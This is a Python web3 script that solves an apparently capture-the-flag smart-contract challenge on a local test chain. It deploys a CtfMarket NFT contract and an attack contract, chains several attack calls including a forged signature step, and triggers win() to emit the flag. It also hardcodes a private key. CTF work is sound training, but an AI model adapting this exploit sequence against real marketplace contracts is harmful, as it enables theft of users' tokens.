1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179
| import solcx from solcx import compile_files from web3 import Web3,HTTPProvider from hexbytes import *
def generate_tx(chainID, to, data, value): txn = { 'chainId': chainID, 'from': Web3.toChecksumAddress(account_address), 'to': to, 'gasPrice': web3.eth.gasPrice , 'gas': 672197400, 'nonce': web3.eth.getTransactionCount(Web3.toChecksumAddress(account_address)) , 'value': Web3.toWei(value, 'ether'), 'data': data, } return txn
def sign_and_send(txn): signed_txn = web3.eth.account.signTransaction(txn, private_key) txn_hash = web3.eth.sendRawTransaction(signed_txn.rawTransaction).hex() txn_receipt = web3.eth.waitForTransactionReceipt(txn_hash) return txn_receipt
def deploy_attack(): compiled_sol = compile_files(["attack.sol"],output_values=["abi", "bin"],solc_version="0.8.16") data = compiled_sol['attack.sol:Attack']['bin'] txn = generate_tx(chain_id, '', data, 0) txn_receipt = sign_and_send(txn) attack_abi = compiled_sol['attack.sol:Attack']['abi'] if txn_receipt['status'] == 1: attack_address = txn_receipt['contractAddress'] return attack_address,attack_abi else: exit(0)
def deploy_nft(): compiled_sol = compile_files(["ctf.sol"],output_values=["abi", "bin"],solc_version="0.8.16") data = compiled_sol['ctf.sol:CtfMarket']['bin'] txn = generate_tx(chain_id, '', data, 0) txn_receipt = sign_and_send(txn) attack_abi = compiled_sol['ctf.sol:CtfMarket']['abi'] if txn_receipt['status'] == 1: attack_address = txn_receipt['contractAddress'] return attack_address,attack_abi else: exit(0) def deploy_AA(): compiled_sol = compile_files(["attack.sol"],output_values=["abi", "bin"],solc_version="0.8.16") data = compiled_sol['attack.sol:AA']['bin'] txn = generate_tx(chain_id, '', data, 0) txn_receipt = sign_and_send(txn) attack_abi = compiled_sol['attack.sol:AA']['abi'] if txn_receipt['status'] == 1: attack_address = txn_receipt['contractAddress'] return attack_address,attack_abi else: exit(0) def rsv(_hash): signed_message = web3.eth.account.signHash(_hash, private_key) print(signed_message.messageHash.hex()) r = '0x'+signed_message.signature.hex()[2:66] s = '0x'+signed_message.signature.hex()[66:-2] v = '0x'+signed_message.signature.hex()[-2:] return r,s,v if __name__ == '__main__': solcx.install_solc('0.8.16') rpc = "http://127.0.0.1:8545" web3 = Web3(HTTPProvider(rpc)) private_key = 'c2aa19cf83ba45863a005ed560c8c84c1f0ca38eaf5123c6cc88d67c3a9c3f03' acct = web3.eth.account.from_key(private_key) account_address = acct.address chain_id = 5777 print("[+] account_address is " + str(account_address)) print("[+] account_Balance is " + str(web3.eth.getBalance(account_address)))
AA_address,AA_abi = deploy_AA() AA_instance = web3.eth.contract(address=AA_address, abi=AA_abi) print(AA_instance.all_functions())
contract_address,contract_abi = deploy_nft() contract_instance = web3.eth.contract(address=contract_address, abi=contract_abi) print(contract_instance.all_functions())
signed_tx = contract_instance.functions.ctfNFT().call() print("[+] ctfNFT_address is " + signed_tx) signed_tx = contract_instance.functions.ctfNFT().call() print("[+] ctfmarket_address is " + contract_address) signed_tx = contract_instance.functions.ctfToken().call() print("[+] ctfToken_address is " + signed_tx) signed_tx = contract_instance.functions.verifier().call() print("[+] verifier_address is " + signed_tx)
attack_address,attack_abi = deploy_attack() attack_instance = web3.eth.contract(address=attack_address, abi=attack_abi) print(attack_instance.all_functions()) print("[+] attack_address is " + attack_address)
functionSign = HexBytes(web3.sha3(text='setaccount(address)')).hex()[0:10] setaccount_addr = generate_tx(chain_id, attack_address,functionSign + "000000000000000000000000" + account_address[2:], 0) sign_and_send(setaccount_addr) print("[+] account_address is " + attack_instance.functions.account().call())
functionSign = HexBytes(web3.sha3(text='setCtfMarket_addr(address)')).hex()[0:10] setCtfMarket_addr = generate_tx(chain_id, attack_address, functionSign + "000000000000000000000000" + contract_address[2:],0) sign_and_send(setCtfMarket_addr) print("[+] CtfMarket_address is " + attack_instance.functions.ctfMarket().call())
functionSign = HexBytes(Web3.sha3(text='attack11()')).hex()[0:10] attack11_addr = generate_tx(chain_id, attack_address,functionSign, 0) sign_and_send(attack11_addr) print("[+] order[0] is " + str(contract_instance.functions.getOrder(0).call()))
functionSign = HexBytes(Web3.sha3(text='attack2()')).hex()[0:10] attack2_addr = generate_tx(chain_id, attack_address,functionSign, 0) sign_and_send(attack2_addr) print("[+] order[0] is " + str(contract_instance.functions.getOrder(0).call())) print("[+] order[1] is " + str(contract_instance.functions.getOrder(1).call())) fakeNft_address = attack_instance.functions.HackerNft().call() print("[+] fakeNft_address is " + fakeNft_address)
data = '''0xc2af3f15 000000000000000000000000{} 000000000000000000000000{} 0000000000000000000000000000000000000000000000000000000000000001 000000000000000000000000{} 0000000000000000000000000000000000000000000000000000000000000001 0000000000000000000000000000000000000000000000000000000000000003 '''.format(account_address[2:],attack_address[2:],fakeNft_address[2:]).replace('\n','').replace(' ','') functionSign = HexBytes(Web3.sha3(text='setinit(address,address,uint256,address,uint256,uint256)')).hex()[0:10] setinit_addr = generate_tx(chain_id, AA_address,data, 0) sign_and_send(setinit_addr)
hash = AA_instance.functions.hashl().call() r,s,v = rsv(hash) print(v,r,s)
data = '''0xf98ecaa700000000000000000000000000000000000000000000000000000000000000{}{}{}'''.format(v[2:],r[2:],s[2:]) functionSign = HexBytes(Web3.sha3(text='attackfor3(uint8,byte32,byte32)')).hex()[0:10] attackfor3_addr = generate_tx(chain_id, attack_address,data, 0) sign_and_send(attackfor3_addr)
functionSign = HexBytes(Web3.sha3(text='attack4()')).hex()[0:10] attack4_addr = generate_tx(chain_id, attack_address,functionSign, 0) sign_and_send(attack4_addr)
functionSign = HexBytes(Web3.sha3(text='win()')).hex()[0:10] flag_addr = generate_tx(chain_id, contract_address,functionSign, 0) flag = sign_and_send(flag_addr) print(contract_instance.events.SendFlag().processLog(flag["logs"][0]))
|